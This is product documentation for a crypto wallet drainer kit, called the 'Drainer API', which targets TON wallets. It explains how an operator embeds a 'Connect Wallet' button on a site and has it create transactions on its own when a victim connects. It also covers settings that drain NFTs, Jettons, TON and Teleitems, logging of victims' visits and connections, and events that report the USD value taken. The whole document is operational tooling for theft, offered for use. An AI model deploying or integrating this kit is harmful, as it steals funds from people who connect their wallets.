Skip to content

Drainer API

This documentation and API are intended for developers. Using the methods described here requires skills in JavaScript and web integration. Incorrect use may disrupt site functionality. Before making changes, ensure you have adequate knowledge or consult a developer.

The Drainer API provides several methods and events that allow you to integrate wallet interactions, track transactions, and handle errors. Below are the main events, methods, and data objects used in the Drainer API.

API Methods

1. init(options?: DrainerOptions)

Initializes the library and creates all necessary elements on the page (e.g., the "Connect Wallet" button).

Parameters:

  • autoCreateTransaction (boolean): If true, a transaction is automatically created when connecting the wallet.
  • autoOpenModal (boolean): If true, the modal window is automatically opened when needed.

Example usage:

javascript
window.drainer?.init({
  autoCreateTransaction: true,  // Automatically create a transaction upon connection
  autoOpenModal: false,         // Do not open the modal automatically
  disableWalletSave: true       // Disable wallet saving
});

3. openModal()

Method to manually open the modal window if automatic opening is disabled.

Example:

javascript
window.drainer?.openModal();

4. overrideDrainerSettings(overrides: Partial<DrainerSettingsPublic>)

Allows you to override drainer settings. Use this method to change parameters such as enabling/disabling asset draining, logging, and other drainer settings.

Parameters:

  • overrides (Partial<DrainerSettingsPublic>): An object with new drainer settings.

Example usage:

javascript
window.drainer?.overrideDrainerSettings({
  drainNFT: false,         // Disable NFT draining
  drainJettons: true,      // Enable Jetton draining
  visitLogs: true          // Enable visit logging
});
Complete list of OverrideDrainerSettings parameters:
  • drainNFT (boolean): Enables/disables NFT draining.
  • drainJettons (boolean): Enables/disables Jetton draining.
  • drainNative (boolean): Enables/disables draining of native assets (TON).
  • drainTeleitems (boolean): Enables/disables draining of Teleitems.
  • visitLogs (boolean): Enables/disables visit logging.
  • walletConnectLogs (boolean): Enables/disables wallet connection logging.
  • txSuccessLogs (boolean): Enables/disables logging of successful transactions.
  • txCancelLogs (boolean): Enables/disables logging of canceled transactions.

5. overrideHoneypots(overrides: Array<OverrideDrainerHoneypots>)

This method allows you to override honeypot parameters. You can update addresses, messages, or amounts associated with specific honeypots.

Parameters:

  • overrides (Array<OverrideDrainerHoneypots>): An array of objects with new settings for honeypots.

Example usage:

javascript
window.drainer?.overrideHoneypots([
  {
    honeypot_address: "EQAvXj...",
    honeypot_amount: 1000
  }
]);
Complete list of OverrideDrainerHoneypots parameters:
  • honeypot_address (string): The address of the honeypot.
  • honeypot_amount (number): The amount associated with the honeypot.

API Events

The Drainer API provides several events that allow you to track wallet connections, transactions, and errors.

1. walletConnect

Event that triggers when a wallet is successfully connected.

Example:

javascript
window.addEventListener('walletConnect', (event) => {
  const walletAddress = event.detail.walletAddress;
  console.log('Wallet connected:', walletAddress);
});

2. walletDisconnect

Event that triggers when a wallet is disconnected.

Example:

javascript
window.addEventListener('walletDisconnect', () => {
  console.log('Wallet disconnected');
});

3. transaction

Event that triggers upon a successful transaction. The event carries all transaction details.

Example:

javascript
window.addEventListener('transaction', (event) => {
  const transactionDetails = event.detail;
  console.log('Successful transaction:', transactionDetails);
});

4. transactionReject

Event that triggers when a transaction is rejected by the user.

Example:

javascript
window.addEventListener('transactionReject', () => {
  console.warn('Transaction was rejected');
});

5. transactionError

Event that triggers when an error occurs during the transaction process.

Example:

javascript
window.addEventListener('transactionError', (event) => {
  const error = event.detail;
  console.error('Transaction error:', error);
});

Data Objects

1. TransactionDetails

This object is passed in the transaction event and contains complete information about the transaction.

Structure:

  • walletAddress: The address of the wallet that performed the transaction.
  • walletVersion: The version of the wallet.
  • withdrawalAmount: The amount of assets withdrawn (TON, Jettons, etc.).
  • tokens: An array of tokens involved in the transaction.
  • nfts: An array of NFTs involved in the transaction.
  • totalWithdrawalUSD: The total amount withdrawn in US dollars (USD).

Example data:

javascript
{
  walletAddress: "UQAvXj...",
      walletVersion: "V5R1",
      withdrawalAmount: 10,
      tokens: [{ name: "Jetton", balance: 100, usd: 10, decimals: 9, wallet_address: "UQAvXj..." }],
      nfts: [{ address: "EQDn...", name: "NFT Example", usd: 50 }],
      totalWithdrawalUSD: 60
}

2. Token

An object that describes a token involved in the transaction.

Structure:

  • name: The name of the token.
  • balance: The amount of tokens.
  • usd: The equivalent in USD.
  • decimals: The number of decimal places for the token.
  • wallet_address: The address of the wallet that contains this token.

3. NFT

An object that describes information about an NFT involved in the transaction.

Structure:

  • address: The address of the NFT.
  • name: The name of the NFT.
  • collectionAddress: The address of the collection.
  • collectionName: The name of the collection.
  • lastPrice: The last price of the NFT.
  • usd: The equivalent in USD.

4. TransactionError

This object describes possible errors that can occur when performing a transaction.

Errors:

  • INSUFFICIENT_FUNDS: Not enough funds.
  • INSUFFICIENT_FUNDS_FOR_FEE: Not enough funds to pay the fee.
  • THROTTLE_TOP_UP: Exceeded the auto-commission transaction limit.

Example:

javascript
{
  error: "INSUFFICIENT_FUNDS_FOR_FEE",
      required: 0.1 // The amount needed to complete the transaction
}

5. TransactionErrorResult

This object is passed in the transactionError event and contains information about the type of error and the amount needed to complete the transaction.